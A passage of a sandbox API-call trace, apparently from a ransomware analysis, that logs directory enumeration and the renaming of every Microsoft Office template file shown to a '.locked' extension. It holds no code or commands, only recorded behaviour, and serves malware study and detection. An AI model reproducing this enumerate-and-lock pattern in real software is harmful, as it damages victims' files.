nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0045.670] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe345ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe345ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.674] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe345ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe345ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0046.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt.locked"), dwFlags=0x2) returned 1 [0046.722] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.locked"), dwFlags=0x2) returned 1 [0047.484] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt.locked"), dwFlags=0x2) returned 1 [0047.490] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbf4adbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbf4adbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0047.696] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt.locked"), dwFlags=0x2) returned 1 [0048.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt.locked"), dwFlags=0x2) returned 1 [0048.993] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt.locked"), dwFlags=0x2) returned 1 [0049.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt.locked"), dwFlags=0x2) returned 1 [0050.228] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.locked"), dwFlags=0x2) returned 1 [0050.236] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc0edcdc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc0edcdc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0050.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt.locked"), dwFlags=0x2) returned 1 [0050.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt.locked"), dwFlags=0x2) returned 1 [0050.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt.locked"), dwFlags=0x2) returned 1 [0050.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt.locked"), dwFlags=0x2) returned 1 [0050.365] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt.locked"), dwFlags=0x2) returned 1 [0050.822] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt.locked"), dwFlags=0x2) returned 1 [0050.932] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt.locked"), dwFlags=0x2) returned 1 [0050.962] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt.locked"), dwFlags=0x2) returned 1 [0051.015] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt.locked"), dwFlags=0x2) returned 1 [0051.042] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt.locked"), dwFlags=0x2) returned 1 [0051.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt.locked"), dwFlags=0x2) returned 1 [0051.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt.locked"), dwFlags=0x2) returned 1 [0051.117] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt.locked"), dwFlags=0x2) returned 1 [0051.165] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt.locked"), dwFlags=0x2) returned 1 [0051.202] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt.locked"), dwFlags=0x2) returned 1 [0051.708] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\projects.accdt.locked"), dwFlags=0x2) returned 1 [0052.230] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\sales pipeline.accdt.locked"), dwFlags=0x2) returned 1 [0052.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\students.accdt.locked"), dwFlags=0x2) returned 1 [0053.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt.locked"), dwFlags=0x2) returned 1 [0053.357] GetFileType (hFile=0x13c) returned 0x1 [0053.358] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc2c9e0c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc2c9e0c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0053.587] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt.locked"), dwFlags=0x2) returned 1 [0053.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt.locked"), dwFlags=0x2) returned 1 [0054.075] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx.locked"), dwFlags=0x2) returned 1 [0054.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx.locked"), dwFlags=0x2) returned 1 [0054.829] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.locked"), dwFlags=0x2) returned 1 [0055.072] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx.locked"), dwFlags=0x2) returned 1 [0055.240] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx.locked"), dwFlags=0x2) returned 1 [0055.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx.locked"), dwFlags=0x2) returned 1 [0055.701] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx.locked"), dwFlags=0x2) returned 1 [0055.936] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx.locked"), dwFlags=0x2) returned 1 [0055.957] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx.locked"), dwFlags=0x2) returned 1 [0056.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.locked"), dwFlags=0x2) returned 1 [0057.013] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.locked"), dwFlags=0x2) returned 1 [0057.514] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.locked"), dwFlags=0x2) returned 1 [0058.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.locked"), dwFlags=0x2) returned 1 [0058.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx.locked"), dwFlags=0x2) returned 1 [0058.098] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx.locked"), dwFlags=0x2) returned 1 [0058.607] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx.locked"), dwFlags=0x2) returned 1 [0059.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx.locked"), dwFlags=0x2) returned 1 [0059.297] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx.locked"), dwFlags=0x2) returned 1 [0059.419] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx.locked"), dwFlags=0x2) returned 1 [0059.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx.locked"), dwFlags=0x2) returned 1 [0060.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx.locked"), dwFlags=0x2) returned 1 [0060.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx.locked"), dwFlags=0x2) returned 1 [0060.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx.locked"), dwFlags=0x2) returned 1 [0060.700] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx.locked"), dwFlags=0x2) returned 1 [0061.259] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx.locked"), dwFlags=0x2) returned 1 [0061.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx.locked"), dwFlags=0x2) returned 1 [0061.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx.locked"), dwFlags=0x2) returned 1 [0061.393] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc793c4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc793c4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0061.919] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.locked"), dwFlags=0x2) returned 1 [0062.442] MoveFileExW 